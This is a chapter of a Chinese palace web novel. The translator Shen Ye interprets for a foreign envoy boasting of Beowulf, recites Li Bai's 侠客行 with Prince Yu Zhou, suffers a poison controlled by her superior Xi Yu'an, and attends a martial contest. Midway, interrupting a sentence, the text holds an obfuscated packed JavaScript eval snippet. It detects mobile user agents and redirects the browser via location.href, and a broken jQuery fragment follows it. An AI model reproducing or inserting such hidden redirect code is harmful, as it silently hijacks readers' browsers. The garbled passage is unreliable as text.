“不过……你是怎么知道的？”沈也问出这句话后，虞洲还没来得及回答她的问题，拂郎使臣便拿出一个盒子。


    他的手覆在盒子上，脸上挂着自豪又自傲的神色，他开口道：“在我们国家，有一部著作，《贝奥武夫》，是世上最伟大的作品，其他国家没有作品与之相匹敌。”


    他的话拂郎语和汉语交织着。


    沈也将他的话翻译给殿上众人听。


    殿上的气氛一时之间变得微妙起来。有人面露好奇，有人则是不屑一顾，更多的人则是保持着礼貌的沉默。


    沈也听见了官员们的窃窃私语：


    “《贝奥武夫》？”


    “没听说过。”


    “吹牛的吧？”


    拂郎使臣似乎对众人的反应还算满意，他缓缓打开手中的盒子。


    只见盒中躺着一本装帧精美的书，上面镶嵌着宝石。


    “这部《贝奥武夫》不仅是一部文学作品，它更是我们拂郎国文化的象征，里面蕴含着我们先祖的智慧与勇气。不知贵国可有这般伟大的作品？”


    沈也将他的这番话转述给殿上众人。


    圣上听后，并未惊慌，他缓缓开口道：“众卿可读过《贝奥武夫》？”


    殿上的大臣们接连摇头。


    此时，席裕安深深地看了沈也一眼，他的脸上虽然带着笑意，可那笑意却未至眼底。


    沈也犹豫几分后还是走上前去，站在了殿中央。


    “回禀圣上，臣曾经有幸读过。”


    其实，她不止读过一遍，她没有穿越之前，《贝奥武夫》这部史诗她已经读过不下五遍。


    在英国文学史、英美诗歌赏析、英国文学导论这三门课上，不同的老师分别讲了三遍。


    她对这部史诗，可谓是十分地熟悉。


    圣上笑道：“好！既如此，沈学士，你说来听听。”


    “是。”


    “《贝奥武夫》是拂郎史诗，主要讲述了英雄贝奥武夫对抗怪物格伦德尔、其母和火龙的故事。”


    圣上若有所思地摸摸胡子，“原来是这样一本书。”


    这样的书，本朝也有。


    “这样伟大的著作，只有我们国家才有！”拂郎使臣神色傲慢。


    文臣们虽然有一大堆反驳的话要说，可奈何他们并不懂拂郎语，语言不通，有口也难说。


    虞辞突然开口道：“父皇，四弟近日读书很是用功，夫子直夸他进步很大，不如让四弟说说看？让拂郎使臣也见识一下我朝灿烂辉煌的文学著作。”


    看着他那副幸灾乐祸的样子，沈也在心中默默嘀咕道：究竟是什么仇什么怨，他要


    要这样将虞洲推到风口浪尖上。


    虞洲站起身来，他第一眼看的是正在默默嘀咕的沈也。


    他的脸上挂着温和的笑容，“二哥莫要取笑我，我才学疏浅，不及大哥与二哥的万分之一。”


    圣上笑道：“无妨无妨，洲儿，你说说看。”


    箭在弦上，不得不发。


    虞洲没有拒绝的权利。


    “四皇子，我为您翻译吧。”沈也与虞洲并肩站在一起。


    殿上众人皆静静地等待着虞洲接下来的话。


    他不疾不徐，嘴角漾着淡淡的笑意：“儿臣曾在无意间看到沈学士的书案上看到过一首诗，为诗人李白所做，绝妙无比。”


    翻译的间隙，沈也忍不住瞪大了眼睛，这家伙，什么时候看到的？


    说着，他便一字一句将诗念了出来：


    赵客缦胡缨，吴钩霜雪明。


    银鞍照白马，飒沓如流星。


    十步杀一人，千里不留行。


    事了拂衣去，深藏身与名。


    闲过信陵饮，脱剑膝前横。


    将炙啖朱亥，持筋劝侯赢。


    ……


    虞洲突然顿住了，他话锋一转：“儿臣实在愚钝，实在是想不起来这首诗的下半部分，烦请沈学士助我一臂之力，念完这首诗。”


    众人的视线落在沈也的身上。


    沈也铿锵有力地念出了剩下的诗句：


    三杯吐然诺，五岳倒为轻。


    眼花耳热后，意气素霓生。


    救赵挥金槌，邯郸先震惊。


    千秋二壮士，烜赫大梁城。


    纵死侠骨香，不惭世上英。


    谁能书阁下，白首太玄经。


    “好诗好诗！”圣上发出连连赞叹，众臣皆拍手称好。


    “贵国的《贝奥武夫》确实是一部闻名遐迩的著作。不过，我国亦有千年文明，诸多经典著作，也是世界文化宝库。”


    拂郎使臣听了沈也的这番话后，面上的傲气并未减弱半分。


    此时一位大臣的话传到了他的耳朵里，他只是勉强听懂了一半便轻哼一声，道：


    “在我国这样优秀的著作面前，你们口中的《侠客行》也要逊色几分。”


    沈也闻言轻轻一笑，脸上没有一丝的怒意，在得到圣上的眼神示意后，她开口道：


    “尊敬的使臣，贵国的《贝奥武夫》与本朝的《侠客行》不同，二者好似宿命的枷锁与逍遥的剑锋，贝奥武夫始终在与命运搏斗，他的荣耀建立在对宿命的反抗之上；而李白的侠客则通过无执的姿态，他不滞于名，不惧于死逃出了宿命的框架，以精神的自由消解了命运的沉重。”


    沈也停下来喘口气时，一道明净的声音自她的身后响起。


    “《侠客行》的宿命是一柄银鞍照白马的轻剑，侠客以诗意的方式劈开宿命的迷雾，让生命在刹那的绽放中抵达永恒。”


    沈也来不及回头看说话的人是谁，便将那道声音说出来的完整地翻译给了拂郎使臣。


    语毕时，拂郎使臣先前脸上浮着的傲气散去了大半，沈也看到，他的眼底装着震撼。


    他的声音有些颤抖：“我竟…我竟不知…《侠客行》确确实实是一部伟大的著作！而且，沈学士，关于《贝奥武夫》，在下还是第一次听见这么独特的见解。”


    “使臣谬赞，文化的交流正是为了相互学习，取长补短。”


    随后，宴会继续。


    沈也和虞洲回到席位上，沈也开始四处张望。


    她的视线在席间不停地穿梭着，最后，一道温柔的视线与她的视线相撞。


    视线的主人轻轻颔首。


    下一瞬，一个茶杯挡住了她的视线。


    骨节分明的手指覆在杯身上，“别看了。”虞洲不满的声音落进她的耳朵里。


    她微微侧头去看虞洲，对上一双有些委屈的眸子。


    他这个人真的好奇怪。


    他轻轻地打了一个喷嚏，收回了杯子。


    后来，两人一直无言，直到宴会结束。


    沈也出了大殿，走在宫道上时，再次遇到了那道温柔视线的主人。


    视线的主人一生官府，生的好看，身上有一股温文尔雅的气质。


    是他先开的口。


    “沈学士，方才席间，你真真是厉害极了。”


    沈也礼貌应道：“您——我该怎么称呼您？”


    说来，她还不知道他的名字。


    “在下许章明。”


    沈也反应过来，“原来是许侍郎，久仰大名。今日得以一见，实乃我幸。”


    “对了，卑职多谢侍郎方才在席间提的那番话。”沈也躬身行礼道。


    许章明笑着摆摆手，“沈学士过誉了，我不过是尽了一份同为朝臣的职责。沈学士的才学和胆识，令人敬佩。今日听到沈学士的话，我深觉震撼。”


    两人沿着宫道前行。


    “沈学士，我知道城中有一家菜肴味道极好的酒楼，你可愿赏光，一同前往品尝？”


    “这……”


    虞洲突然出现，将沈也拉到一边，“不可以。”


    许章明仍旧笑着，“卑职拜见四皇子。”


    沈也抽回自己的手，退后一步，“卑职拜见四皇子。”


    虞洲眼底划过一丝委屈，“沈学士，今日我有些问题想要请教你。”


    沈也在心中无奈叹了一口气。不过她转念一想，心中又松了不少，她今日确实不可同许侍郎一起去吃饭。


    她还有更重要的事，虞洲的话刚好为她提供了一个借口。


    思及此，她转向许章明歉意地说：“许侍郎，实在抱歉，今日恐有要务在身，无法随同前往。改日有机会，我定当赴约。”


    许章明语气温和：“无妨，公务要紧，沈学士的职责为先。我们改日再约，不急于一时。”


    说罢，他再次行了一礼，然后缓缓消失在了宫道的尽头。


    “四殿下，今日卑职还有要务在身，我明日再为您解惑。”沈也行完礼正欲离去，虞洲却又再次拉住了她的手。


    “四殿下这是何意？”


    沈也想要挣开他的手，可他的手却握得更紧了。


    他的眼角红红的，“今天，和我待在一起，好不好？”


    她斩钉截铁地拒绝了他，“不好。”


    她顾不得他还拉着她的手，直直地跪了下去。


    膝盖上没有传来疼痛，他稳稳地扶住了她。


    待她站直了身子，他才放开了她。


    “多谢殿下。”


    她留下这四个字，便头也不回地离开了。


    虞洲站在原地，看着她离开的方向，眼中溢出失落。


    他多想，多想她的视线可以一直留在他的身上。不，他很贪心，他想要她的眼睛长在他的身上……


    沈也坐马车慌忙来到宪台府。


    侍从将她带进府中书房，席裕安正稳稳地坐在书案前。


    席裕安未抬眸，“四殿下对你倒是很特别。”


    “大人说笑了，四殿下宅心仁厚，对每个人皆一视同仁。”沈也语气平静，仿佛在谈论与自己无关的事情。


    席裕安抬眸望着沈也，他轻轻敲打着桌面，五下过后，他停了手，书房里陷入死一般的寂静。


    强烈的疼痛席卷了沈也的四肢，毒又发作了。


    席裕安冷眼望着，她知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411431|166290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，他想要给她一个教训。


    她强忍着疼痛从怀中拿出一封信，颤着手弯腰将信举过头顶。


    疼疼疼疼、


    疼疼疼疼、


    疼疼疼疼、


    疼痛几乎要将她整个人都吞噬了。


    “请——请大人——过目。”


    她几乎是咬牙切齿地说出了这句话。


    席裕安不疾不徐地接过她手中的信，看过信上的内容后他弯起了嘴角。


    “还算有用。”


    他将一粒黑色的药丸递给她，她迅速将药塞进了嘴里。


    她能够感受到疼痛在慢慢地消散。


    “多谢大人——赐药。”


    席裕安背过身去，不再看她，“你走吧，别忘了你的本分。”


    沈也微微颔首：“是。”


    出了宪台府，她坐上马车。


    晚风掀起帘子吹了进来，额上的汗被晚风吹干了，她伸手去摸时，却还是觉得有些黏黏糊糊的，心中登时有些烦躁。


    不知过了多久，她回到了自己的小院。


    虽然今日身子不适，心情也有几分烦躁，可她还是发现了院门前，还有藤上的点点血迹。


    这已经是她第三次发现这种血迹了。


    等她进了院子，映入眼帘的是便是石阶上放着的食盒。


    它就这么安安静静地放在那里。


    这个笨蛋，自从她上次骗了他，他每月这个时候都来给她送这些东西。


    她一步一步地走到石阶上，盯着食盒看了几秒后，她抱着食盒坐在了石阶上。


    她轻轻地打开食盒，红枣的香气钻进她的鼻子里。


    霞光照在她的身上，又流转在食盒上，望着从食盒里轻轻飘起的热气，不知为何，她的心底竟涌起暖意。


    晚风中，她的嘴角微微扬起，眉间漾开笑意。


    “四殿下对你倒是很特别。”


    白日里席裕安说过的话在她的耳边响起，她的心一点一点地沉下去。


    天色暗了下去，她抬头，天上零零碎碎地撒着些星星。


    她一口都没有吃，将食盒盖子盖好后，放在了院门外。


    走回院子里之前，借着微弱的月光，她又看了一眼石阶和藤上的血迹。


    他又受伤了吗？


    他究竟有什么样的秘密？


    罢了罢了，她也有自己的秘密。


    从此，便让他们二人，怀着自己的秘密，互不相扰，各自安好。


    第二日，沈也被传唤去了武场。


    拂郎使臣带了三名勇士，说是要好好讨教一下虞国的功夫。


    圣上在，三位皇子还有公主也在。


    自沈也进武场，虞洲的视线便一直留在在她的身上。


    她虽然感受到了，却没有看过他哪怕一次。


    她装作若无其事的样子。


    她今日来武场，只为一件事，她只想做好拂郎使臣的翻译。


    拂郎来的勇士确实厉害，他们威猛高大，与虞朝的勇士相比，有极大的身材优势。


    正式比武时，众人发现他们的动作迅猛，招式犀利。


    仅仅三个回合，平日里功夫不错的侍卫便败下阵来。


    圣上与拂郎使臣的脸上皆挂着笑意。


    眼见又一个侍卫被打下擂台，虞辞坐不住了。


    他向圣上请辞：“父皇，儿臣愿下场一试，领略一下拂郎武功。”


    虞铭端起茶杯轻轻地抿了一口茶水后，也道，“儿臣也想试试。”


    虞昭则是安静地看着。


    “准了。”


    得到圣上的允准后，虞铭虞辞同时起身。


    随后众人只见他们两人身形一晃，两人便如同离弦之箭，朝着擂台飞掠而去。


    墨色和秋葵色的两道身影一前一后稳稳地落在擂台上，虞铭面色平静，虞辞的脸上则是挂着恣然的笑意。


    锣鼓一敲，擂台上，五道身影快速移动，缠打在一起。


    二打三，听起来是有些不公平。


    不过，虽然拂郎来的勇士在体型上有优势，力大无穷，但他们很快发现，虞铭和虞辞武功高强。


    他们二人身形灵活，步法诡异，总能巧妙地避开拂郎勇士的重击，同时又能找到机会反击。


    不过五招，拂郎勇士便重重地摔下了擂台。


    胜负已定，鼓声随之响起。


    “好，好，真是精彩，没想到贵国的勇士竟然如此厉害。”拂郎使臣拍手称赞道。


    圣上也笑道：“贵国的勇士也是勇猛非常”。


    以快打慢，以巧破力。今日沈也算是对两位皇子的武力值有了认识，他们二人确实是厉害极了。


    如同先前那般，身形一晃，虞铭和虞辞便回到了圣上面前。


    “好啊，你们二人今日让朕倍感欣慰。”


    虞铭和虞辞齐齐跪下，“儿臣多谢父皇夸奖。


    虞铭回到自己的席位上，虞辞却直直地站在那里。


    沈也有些疑惑，这家伙，又想干什么？